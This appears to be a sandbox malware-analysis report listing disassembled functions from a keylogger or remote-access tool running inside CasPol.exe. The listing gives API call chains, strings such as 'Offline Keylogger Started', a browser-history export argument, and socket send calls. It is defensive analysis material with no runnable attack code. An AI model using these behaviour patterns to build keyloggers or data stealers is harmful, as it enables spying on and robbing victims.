                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                                                                                                  • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                                                                                                  • API String ID: 3024135584-2418719853
                                                                                                                                                                  • Opcode ID: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                                                                                                                                  • Instruction ID: 2ebb83c1e7e70c4501562f07591cf8b091918c9767bda4cb27a2f29097fd03e7
                                                                                                                                                                  • Opcode Fuzzy Hash: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                                                                                                                                  • Instruction Fuzzy Hash: C7E04F62104348ABD31437F5BC8ECAB3B7CE784613B100536F612903D3EA7484448A79
                                                                                                                                                                  Function 0044016A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 540239c3c7a8b78e424bcf486381df198cb5d8aead86a72beee1c9aef6a9193c
                                                                                                                                                                  • Instruction ID: 5f24fa964153eb206603784754227e3bedeb81a57cd12874f4c303f17d5dd595
                                                                                                                                                                  • Opcode Fuzzy Hash: 540239c3c7a8b78e424bcf486381df198cb5d8aead86a72beee1c9aef6a9193c
                                                                                                                                                                  • Instruction Fuzzy Hash: FD71C231900216DBEB218F55C884ABFBB75FF55360F14026BEE10A7281D7B89D61CBA9
                                                                                                                                                                  Function 00410B19 Relevance: 7.7, APIs: 5, Instructions: 198memoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004105B9: SetLastError.KERNEL32(0000000D,00410B38,?,00000000), ref: 004105BF
                                                                                                                                                                  • GetNativeSystemInfo.KERNEL32(?), ref: 00410BC4
                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000008,00000040,?,?,00000000), ref: 00410C2A
                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410C31
                                                                                                                                                                  • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410D3F
                                                                                                                                                                  • SetLastError.KERNEL32(000000C1,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410B15), ref: 00410D69
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$Heap$AllocInfoNativeProcessSystem
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3525466593-0
                                                                                                                                                                  • Opcode ID: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                                                                                                                                  • Instruction ID: 414678d8c61d87a8872ee73c425a8c4ab38aff0ef96490e16bc3f9b9534d1ba0
                                                                                                                                                                  • Opcode Fuzzy Hash: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                                                                                                                                  • Instruction Fuzzy Hash: 1861C270200301ABD720DF66C981BA77BE6BF44744F04412AF9058B786EBF8E8C5CB99
                                                                                                                                                                  Function 0040E6A3 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E6C1
                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 0040E6E5
                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E6F4
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040E8AB
                                                                                                                                                                    • Part of subcall function 0041B187: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040E4D0,00000000,?,?,00474358), ref: 0041B19C
                                                                                                                                                                    • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                                                                                                    • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E89C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4269425633-0
                                                                                                                                                                  • Opcode ID: 296a05bfb99c111a27fc262cb636efe6a000d6565ad7e80475f435e5bd850ba0
                                                                                                                                                                  • Instruction ID: 1ccfc3ca83e07eb3b8bade3b71d1bee95701cef3987deea6625860c00c24977f
                                                                                                                                                                  • Opcode Fuzzy Hash: 296a05bfb99c111a27fc262cb636efe6a000d6565ad7e80475f435e5bd850ba0
                                                                                                                                                                  • Instruction Fuzzy Hash: F641E1311083415BC325F761D8A1AEFB7E9EFA4305F50453EF84A931E1EF389A49C65A
                                                                                                                                                                  Function 00443098 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                  • Opcode ID: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                                                                                                                                  • Instruction ID: 1dbcf13812f0ad7c91f1b1cf961d24232ef3b5dad0ac29e3e9285c08b65e5f3f
                                                                                                                                                                  • Opcode Fuzzy Hash: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                                                                                                                                  • Instruction Fuzzy Hash: 4A41D532E002049FEB24DF79C881A5EB3A5EF89718F15856EE915EB341DB35EE01CB84
                                                                                                                                                                  Function 0044FED3 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0042CE53,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53), ref: 0044FF20
                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 0044FF58
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,0042CE53,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53,?), ref: 0044FFA9
                                                                                                                                                                  • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53,?,00000002,?), ref: 0044FFBB
                                                                                                                                                                  • __freea.LIBCMT ref: 0044FFC4
                                                                                                                                                                    • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 313313983-0
                                                                                                                                                                  • Opcode ID: e53b112c27c8f78300b60669bd3e779d88e901d1b4b0f4bdaec59810f61dd2f3
                                                                                                                                                                  • Instruction ID: fd0d2a6e26420063bd1679c32ed8e9021f1b2be81e6a043fb7466d0fa567ef17
                                                                                                                                                                  • Opcode Fuzzy Hash: e53b112c27c8f78300b60669bd3e779d88e901d1b4b0f4bdaec59810f61dd2f3
                                                                                                                                                                  • Instruction Fuzzy Hash: 9831FE32A0021AABEF248F65DC41EAF7BA5EB05314F05017BFC04D6290EB39DD58CBA4
                                                                                                                                                                  Function 0044E13B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetEnvironmentStringsW.KERNEL32 ref: 0044E144
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044E167
                                                                                                                                                                    • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044E18D
                                                                                                                                                                  • _free.LIBCMT ref: 0044E1A0
                                                                                                                                                                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044E1AF
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 336800556-0
                                                                                                                                                                  • Opcode ID: 1c337325f04e7d1350835243513ef37ea9cf72bd865eed212f137dea6565717b
                                                                                                                                                                  • Instruction ID: 38685928f53d0fdec7f9771a1fbcf5508afe04d06d5fe5a1692e2fd93afee85f
                                                                                                                                                                  • Opcode Fuzzy Hash: 1c337325f04e7d1350835243513ef37ea9cf72bd865eed212f137dea6565717b
                                                                                                                                                                  • Instruction Fuzzy Hash: 8201B1726417117F73215ABB6C8CC7B6A6DEEC2BA2315013ABD04D6201DA788C0291B9
                                                                                                                                                                  Function 00446F43 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,00000000,0043A7C2,00000000,?,?,0043A846,00000000,00000000,00000000,00000000,00000000,00000000,00402C08,?), ref: 00446F48
                                                                                                                                                                  • _free.LIBCMT ref: 00446F7D
                                                                                                                                                                  • _free.LIBCMT ref: 00446FA4
                                                                                                                                                                  • SetLastError.KERNEL32(00000000), ref: 00446FB1
                                                                                                                                                                  • SetLastError.KERNEL32(00000000), ref: 00446FBA
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3170660625-0
                                                                                                                                                                  • Opcode ID: f4408b0af08e6f25a576fef194bdae15b87294ed1dfbee705da3a0fd61bfb56a
                                                                                                                                                                  • Instruction ID: 6bd692df8320938abc1815071491dbd9703328d73d2f54107518a18b095bb187
                                                                                                                                                                  • Opcode Fuzzy Hash: f4408b0af08e6f25a576fef194bdae15b87294ed1dfbee705da3a0fd61bfb56a
                                                                                                                                                                  • Instruction Fuzzy Hash: 7401D13620C70067F61266757C85D2F266DDBC3B66727013FF958A2292EE2CCC0A452F
                                                                                                                                                                  Function 0044F79D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _free.LIBCMT ref: 0044F7B5
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 0044F7C7
                                                                                                                                                                  • _free.LIBCMT ref: 0044F7D9
                                                                                                                                                                  • _free.LIBCMT ref: 0044F7EB
                                                                                                                                                                  • _free.LIBCMT ref: 0044F7FD
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                  • Opcode ID: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                                                                                                                                  • Instruction ID: 78b16e2cd2bc6e4547488c8f4e3d182d22cf8911186b8f77a4a783cd10448158
                                                                                                                                                                  • Opcode Fuzzy Hash: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                                                                                                                                  • Instruction Fuzzy Hash: 9AF01232505600BBE620EB59E8C5C1773E9EB827147A9482BF408F7641CB3DFCC48A6C
                                                                                                                                                                  Function 004432E7 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _free.LIBCMT ref: 00443305
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 00443317
                                                                                                                                                                  • _free.LIBCMT ref: 0044332A
                                                                                                                                                                  • _free.LIBCMT ref: 0044333B
                                                                                                                                                                  • _free.LIBCMT ref: 0044334C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                  • Opcode ID: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                                                                                                                                  • Instruction ID: 76e6a482bc9a1727a28655d1f271e5fc3ecde01143ea680422932a64b095765e
                                                                                                                                                                  • Opcode Fuzzy Hash: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                                                                                                                                  • Instruction Fuzzy Hash: B9F05EF08075209FAB12AF2DBD014893BA0B786755306413BF41EB2772EB380D95DB8E
                                                                                                                                                                  Function 00416751 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 182threadwindowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetWindowThreadProcessId.USER32(?,?), ref: 00416768
                                                                                                                                                                  • GetWindowTextW.USER32(?,?,0000012C), ref: 0041679A
                                                                                                                                                                  • IsWindowVisible.USER32(?), ref: 004167A1
                                                                                                                                                                    • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                                                                                                    • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProcessWindow$Open$TextThreadVisible
                                                                                                                                                                  • String ID: (FG
                                                                                                                                                                  • API String ID: 3142014140-2273637114
                                                                                                                                                                  • Opcode ID: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                                                                                                                                  • Instruction ID: 6337817d5adb2ff800b6fe7f9081d1b6a06097940366009b721c4d78a1625a25
                                                                                                                                                                  • Opcode Fuzzy Hash: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                                                                                                                                  • Instruction Fuzzy Hash: FD71E6321082414AC325FB61D8A5ADFB3E4AFE4319F50453EF58A530E1EF746A49C79A
                                                                                                                                                                  Function 0044D459 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _strpbrk.LIBCMT ref: 0044D4A8
                                                                                                                                                                  • _free.LIBCMT ref: 0044D5C5
                                                                                                                                                                    • Part of subcall function 0043A854: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043A856
                                                                                                                                                                    • Part of subcall function 0043A854: GetCurrentProcess.KERNEL32(C0000417), ref: 0043A878
                                                                                                                                                                    • Part of subcall function 0043A854: TerminateProcess.KERNEL32(00000000), ref: 0043A87F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                                                                                                                                  • String ID: *?$.
                                                                                                                                                                  • API String ID: 2812119850-3972193922
                                                                                                                                                                  • Opcode ID: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                                                                                                                                  • Instruction ID: 2d4433a3afc190a5690657b280c6536bac4d5ba0d1806d6c31be7b1549e3be36
                                                                                                                                                                  • Opcode Fuzzy Hash: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                                                                                                                                  • Instruction Fuzzy Hash: 7251B371E00109AFEF14DFA9C881AAEB7F5EF58318F24416FE854E7301DA799E018B54
                                                                                                                                                                  Function 004095D6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetKeyboardLayoutNameA.USER32(?), ref: 00409601
                                                                                                                                                                    • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                                                                                                                                    • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                                                                                                                                    • Part of subcall function 0041B6AA: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041B6BF
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFileKeyboardLayoutNameconnectsendsocket
                                                                                                                                                                  • String ID: XCG$`AG$>G
                                                                                                                                                                  • API String ID: 2334542088-2372832151
                                                                                                                                                                  • Opcode ID: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                                                                                                                                  • Instruction ID: 7adbea44916697806613a62f0197ef330eb15d5bc584e2d7fa9685cab7613629
                                                                                                                                                                  • Opcode Fuzzy Hash: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                                                                                                                                  • Instruction Fuzzy Hash: 865143321042405BC325F775D8A2AEF73D5AFE4308F50483FF84A671E2EE785949C69A
                                                                                                                                                                  Function 004426D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 00442714
                                                                                                                                                                  • _free.LIBCMT ref: 004427DF
                                                                                                                                                                  • _free.LIBCMT ref: 004427E9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$FileModuleName
                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                  • API String ID: 2506810119-3657627342
                                                                                                                                                                  • Opcode ID: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                                                                                                                                  • Instruction ID: 3cff5717343a4e3a710d875500e96c622d597d45f5ef159119de948e6b6562f0
                                                                                                                                                                  • Opcode Fuzzy Hash: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                                                                                                                                  • Instruction Fuzzy Hash: 3E31B371A00218AFEB21DF9ADD81D9EBBFCEB85314F54406BF804A7311D6B88E41DB59
                                                                                                                                                                  Function 00403A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403A2A
                                                                                                                                                                    • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                                                                                                                                    • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9), ref: 004176CC
                                                                                                                                                                    • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF), ref: 004176D5
                                                                                                                                                                    • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  • Sleep.KERNEL32(000000FA,00465324), ref: 00403AFC
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                                                                                                  • String ID: /sort "Visit Time" /stext "$8>G
                                                                                                                                                                  • API String ID: 368326130-2663660666
                                                                                                                                                                  • Opcode ID: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                                                                                                                                  • Instruction ID: 7eda923cdb9144c2d3fbd791e6ccfb72172be11f11f2a08a3aebfaec1b2861d2
                                                                                                                                                                  • Opcode Fuzzy Hash: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                                                                                                                                  • Instruction Fuzzy Hash: E5317331A0021456CB14FBB6DC969EE7775AF90318F40017FF906B71D2EF385A8ACA99
                                                                                                                                                                  Function 004098A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,004099A9,004740F8,00000000,00000000), ref: 0040992A
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00409993,004740F8,00000000,00000000), ref: 0040993A
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,004099B5,004740F8,00000000,00000000), ref: 00409946
                                                                                                                                                                    • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                                                                                                                                    • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateThread$LocalTimewsprintf
                                                                                                                                                                  • String ID: Offline Keylogger Started
                                                                                                                                                                  • API String ID: 465354869-4114347211
                                                                                                                                                                  • Opcode ID: 0185d7c11a47f4d1cc67a4ecd2b8329abf3b52d4ddc89e50534bed34fd3ab50c
                                                                                                                                                                  • Instruction ID: 73cd13916ef890eca76c0e29a3751801184202c96e3ca0ae9416a03768ca9078
                                                                                                                                                                  • Opcode Fuzzy Hash: 0185d7c11a47f4d1cc67a4ecd2b8329abf3b52d4ddc89e50534bed34fd3ab50c
                                                                                                                                                                  • Instruction Fuzzy Hash: CF11ABB15003097AD220BA36DC87CBF765CDA813A8B40053EF845225D3EA785E54C6FB
                                                                                                                                                                  Function 0040A611 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                                                                                                                                    • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00409993,?,00000000,00000000), ref: 0040A691
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,004099B5,?,00000000,00000000), ref: 0040A69D
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,004099C1,?,00000000,00000000), ref: 0040A6A9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
